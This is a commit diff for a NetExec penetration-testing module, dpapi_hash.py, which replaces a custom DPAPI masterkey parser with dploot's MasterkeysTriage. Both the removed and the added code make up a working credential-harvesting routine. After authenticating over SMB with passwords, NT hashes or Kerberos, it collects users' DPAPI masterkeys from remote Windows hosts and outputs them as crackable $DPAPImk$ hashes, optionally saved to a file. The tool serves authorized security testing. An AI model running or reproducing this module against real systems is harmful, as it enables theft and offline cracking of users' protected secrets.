Skip to content

Commit 66500bf

Browse files
committed
update with latest dploot changes
1 parent b250e1d commit 66500bf

1 file changed

Lines changed: 41 additions & 267 deletions

File tree

nxc/modules/dpapi_hash.py

Lines changed: 41 additions & 267 deletions
Original file line numberDiff line numberDiff line change
@@ -1,190 +1,9 @@
1-
import ntpath
21
from dploot.lib.target import Target
3-
from dploot.lib.smb import DPLootSMBConnection
4-
import struct
5-
import binascii
6-
import array
7-
8-
# Based on dpapimk2john, original work by @fist0urs
9-
10-
11-
class Eater:
12-
def __init__(self, raw, offset=0, end=None, endianness="<"):
13-
self.raw = raw
14-
self.ofs = offset
15-
self.end = len(raw) if end is None else end
16-
self.endianness = endianness
17-
18-
def prepare_fmt(self, fmt):
19-
if fmt[0] not in ("<", ">", "!", "@"):
20-
fmt = self.endianness + fmt
21-
return fmt, struct.calcsize(fmt)
22-
23-
def read(self, fmt):
24-
fmt, sz = self.prepare_fmt(fmt)
25-
v = struct.unpack_from(fmt, self.raw, self.ofs)
26-
return v[0] if len(v) == 1 else v
27-
28-
def eat(self, fmt):
29-
fmt, sz = self.prepare_fmt(fmt)
30-
v = struct.unpack_from(fmt, self.raw, self.ofs)
31-
self.ofs += sz
32-
return v[0] if len(v) == 1 else v
33-
34-
def eat_string(self, length):
35-
return self.eat(f"{length}s")
36-
37-
def remain(self):
38-
return self.raw[self.ofs:self.end]
39-
40-
def eat_sub(self, length):
41-
sub = Eater(self.raw[self.ofs:self.ofs + length], endianness=self.endianness)
42-
self.ofs += length
43-
return sub
44-
45-
46-
class DPAPIBlob:
47-
def __init__(self, raw=None):
48-
# Initialization code
49-
pass
50-
51-
@staticmethod
52-
def hexstr(bytestr):
53-
return binascii.hexlify(bytestr).decode("ascii")
54-
55-
56-
class CryptoAlgo:
57-
class Algo:
58-
def __init__(self, data):
59-
self.__dict__.update(data)
60-
61-
_crypto_data = {}
62-
63-
@classmethod
64-
def add_algo(cls, algnum, **kargs):
65-
cls._crypto_data[algnum] = cls.Algo(kargs)
66-
if "name" in kargs:
67-
kargs["ID"] = algnum
68-
cls._crypto_data[kargs["name"]] = cls.Algo(kargs)
69-
70-
@classmethod
71-
def get_algo(cls, algnum):
72-
return cls._crypto_data.get(algnum)
73-
74-
def __init__(self, algnum):
75-
self.algnum = algnum
76-
self.algo = CryptoAlgo.get_algo(algnum)
77-
if not self.algo:
78-
raise ValueError(f"Algorithm number {algnum} not found in crypto data")
79-
80-
name = property(lambda self: self.algo.name)
81-
keyLength = property(lambda self: self.algo.keyLength // 8)
82-
ivLength = property(lambda self: self.algo.IVLength // 8)
83-
blockSize = property(lambda self: self.algo.blockLength // 8)
84-
digestLength = property(lambda self: self.algo.digestLength // 8)
85-
86-
def __repr__(self):
87-
return f"{self.algo.name} [{self.algnum:#x}]"
88-
89-
90-
def des_set_odd_parity(key):
91-
_lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254]
92-
tmp = array.array("B")
93-
tmp.fromstring(key)
94-
for i, v in enumerate(tmp):
95-
tmp[i] = _lut[v]
96-
return tmp.tostring()
2+
from dploot.triage.masterkeys import MasterkeysTriage
973

4+
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
985

99-
CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
100-
CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
101-
CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128)
102-
CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128)
103-
CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128)
104-
CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128)
105-
CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
106-
CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
107-
CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
108-
CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512)
109-
CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024)
110-
CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024)
111-
112-
113-
def display_masterkey(Preferred):
114-
GUID1 = Preferred.read(8)
115-
GUID2 = Preferred.read(8)
116-
GUID = struct.unpack("<LHH", GUID1)
117-
GUID2 = struct.unpack(">HLH", GUID2)
118-
return f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}"
119-
120-
121-
class MasterKey:
122-
def __init__(self, raw=None, SID=None, context=None):
123-
self.decrypted = self.key = self.key_hash = None
124-
self.hmacSalt = self.hmac = self.hmacComputed = None
125-
self.cipherAlgo = self.hashAlgo = self.rounds = None
126-
self.iv = self.version = self.ciphertext = None
127-
self.SID = SID
128-
self.context = context
129-
self.parse(raw)
130-
131-
def parse(self, data):
132-
eater = Eater(data)
133-
self.version = eater.eat("L")
134-
self.iv = eater.eat("16s")
135-
self.rounds = eater.eat("L")
136-
self.hashAlgo = CryptoAlgo(eater.eat("L"))
137-
self.cipherAlgo = CryptoAlgo(eater.eat("L"))
138-
self.ciphertext = eater.remain()
139-
140-
def jhash(self, user, ctx):
141-
version, hmac_algo, cipher_algo = -1, None, None
142-
if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower():
143-
version, hmac_algo, cipher_algo = 1, "sha1", "des3"
144-
elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower():
145-
version, hmac_algo, cipher_algo = 2, "sha512", "aes256"
146-
else:
147-
return f"Unsupported combination of cipher '{self.cipherAlgo}' and hash algorithm '{self.hashAlgo}' found!"
148-
context = 0
149-
if self.context == "domain":
150-
context = 2
151-
s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
152-
ctx.log.highlight(f"Context2: {s}")
153-
context = 3
154-
s = f"\n{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
155-
ctx.log.highlight(f"Context3: {s}")
156-
else:
157-
context = {"local": 1, "domain1607-": 2, "domain1607+": 3}.get(self.context, 0)
158-
s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
159-
return s
160-
161-
162-
class MasterKeyFile:
163-
def __init__(self, raw=None, SID=None, context=None):
164-
self.masterkey = self.backupkey = self.credhist = self.domainkey = None
165-
self.decrypted = False
166-
self.version = self.guid = self.policy = None
167-
self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
168-
self.SID = SID
169-
self.context = context
170-
self.parse(raw)
171-
172-
def parse(self, data):
173-
eater = Eater(data)
174-
self.version = eater.eat("L")
175-
eater.eat("2L")
176-
self.guid = eater.eat("72s").decode("UTF-16LE").encode("utf-8")
177-
eater.eat("2L")
178-
self.policy = eater.eat("L")
179-
self.masterkeyLen = eater.eat("Q")
180-
self.backupkeyLen = eater.eat("Q")
181-
self.credhistLen = eater.eat("Q")
182-
self.domainkeyLen = eater.eat("Q")
183-
if self.masterkeyLen > 0:
184-
self.masterkey = MasterKey(eater.eat_sub(self.masterkeyLen).remain(), SID=self.SID, context=self.context)
185-
if self.backupkeyLen > 0:
186-
self.backupkey = MasterKey(eater.eat_sub(self.backupkeyLen).remain(), SID=self.SID, context=self.context)
187-
6+
# Based on dpapimk2john, original work by @fist0urs
1887

1898
class NXCModule:
1909
name = "dpapi_hash"
@@ -193,97 +12,52 @@ class NXCModule:
19312
opsec_safe = True
19413
multiple_hosts = True
19514

196-
def __init__(self, context=None, module_options=None):
197-
self.false_positive = (
198-
".",
199-
"..",
200-
"desktop.ini",
201-
"Public",
202-
"Default",
203-
"Default User",
204-
"All Users",
205-
)
206-
self.user_directories = "\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Protect"
207-
208-
def get_users(self, conn):
209-
users = []
210-
211-
users_dir_path = "Users\\*"
212-
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
213-
214-
for d in directories:
215-
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
216-
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
217-
return users
15+
def options(self, context, module_options):
16+
"""OUTPUTFILE Output file to write hashes"""
17+
self.outputfile = None
18+
if "OUTPUTFILE" in module_options:
19+
self.outputfile = module_options["OUTPUTFILE"]
21820

21921
def on_admin_login(self, context, connection):
220-
self.context = context
221-
self.connection = connection
222-
self.share = connection.args.share
223-
224-
host = f"{connection.hostname}.{connection.domain}"
225-
domain = connection.domain
22622
username = connection.username
227-
kerberos = connection.kerberos
228-
aesKey = connection.aesKey
229-
use_kcache = getattr(connection, "use_kcache", False)
23023
password = getattr(connection, "password", "")
231-
lmhash = getattr(connection, "lmhash", "")
23224
nthash = getattr(connection, "nthash", "")
23325

23426
target = Target.create(
235-
domain=domain,
27+
domain=connection.domain,
23628
username=username,
23729
password=password,
238-
target=host,
239-
lmhash=lmhash,
30+
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
31+
lmhash=getattr(connection, "lmhash", ""),
24032
nthash=nthash,
241-
do_kerberos=kerberos,
242-
aesKey=aesKey,
243-
use_kcache=use_kcache,
33+
do_kerberos=connection.kerberos,
34+
aesKey=connection.aesKey,
35+
no_pass=True,
36+
use_kcache=getattr(connection, "use_kcache", False),
24437
)
245-
246-
conn = self.upgrade_connection(target=target, connection=connection.conn)
247-
# get users list
248-
users = self.get_users(conn)
249-
context.log.debug("Gathering DPAPI Hashes")
250-
251-
# search user directory to retrieve the prefered protected Masterkey
252-
for user in users:
253-
directory_path = self.user_directories.format(username=user)
254-
directorylist = conn.remote_list_dir(self.context.share, directory_path)
255-
try:
256-
for item in directorylist:
257-
if item.get_longname().startswith("S-"):
258-
sid = item.get_longname()
259-
print(f"on est quand même là {item}")
260-
context.log.debug(f"Found user SID: {sid}")
261-
mkfolder = ntpath.join(directory_path, item.get_longname())
262-
mkfoldercontent = conn.remote_list_dir(self.context.share, mkfolder)
263-
for mk in mkfoldercontent:
264-
if mk.get_longname() == "Preferred":
265-
preferredfile = ntpath.join(directory_path, mkfolder, mk.get_longname())
266-
Preferredcontent = conn.readFile(self.context.share, preferredfile)
267-
GUID1, GUID2 = Preferredcontent[:8], Preferredcontent[8:16]
268-
GUID = struct.unpack("<LHH", GUID1)
269-
GUID2 = struct.unpack(">HLH", GUID2)
270-
masterkey = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}"
271-
masterkeypath = ntpath.join(directory_path, mkfolder, masterkey)
272-
masterkeycontent = conn.readFile(self.context.share, masterkeypath)
273-
masterkeyfile_obj = MasterKeyFile(masterkeycontent, SID=sid, context="domain")
274-
if masterkeyfile_obj.masterkey:
275-
masterkeyfile_obj.masterkey.jhash(user, context)
276-
except Exception as e:
277-
context.log.debug(f"{e}")
278-
continue
279-
280-
def upgrade_connection(self, target: Target, connection=None):
281-
conn = DPLootSMBConnection(target)
282-
if connection is not None:
283-
conn.smb_session = connection
284-
else:
285-
conn.connect()
286-
return conn
287-
288-
def options(self, context, module_options):
289-
""" """
38+
39+
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
40+
if conn is None:
41+
context.log.debug("Could not upgrade connection")
42+
return
43+
44+
try:
45+
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
46+
masterkeys_triage = MasterkeysTriage(
47+
target=target,
48+
conn=conn,
49+
)
50+
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
51+
context.log.debug("Collecting user masterkeys")
52+
masterkeys_triage.triage_masterkeys()
53+
if self.outputfile is not None:
54+
with open(self.outputfile, "a+") as fd:
55+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
56+
context.log.highlight(mkhash)
57+
fd.write(f"{mkhash}\n")
58+
else:
59+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
60+
context.log.highlight(mkhash)
61+
62+
except Exception as e:
63+
context.log.debug(f"Could not get masterkeys: {e}")

0 commit comments

Comments
 (0)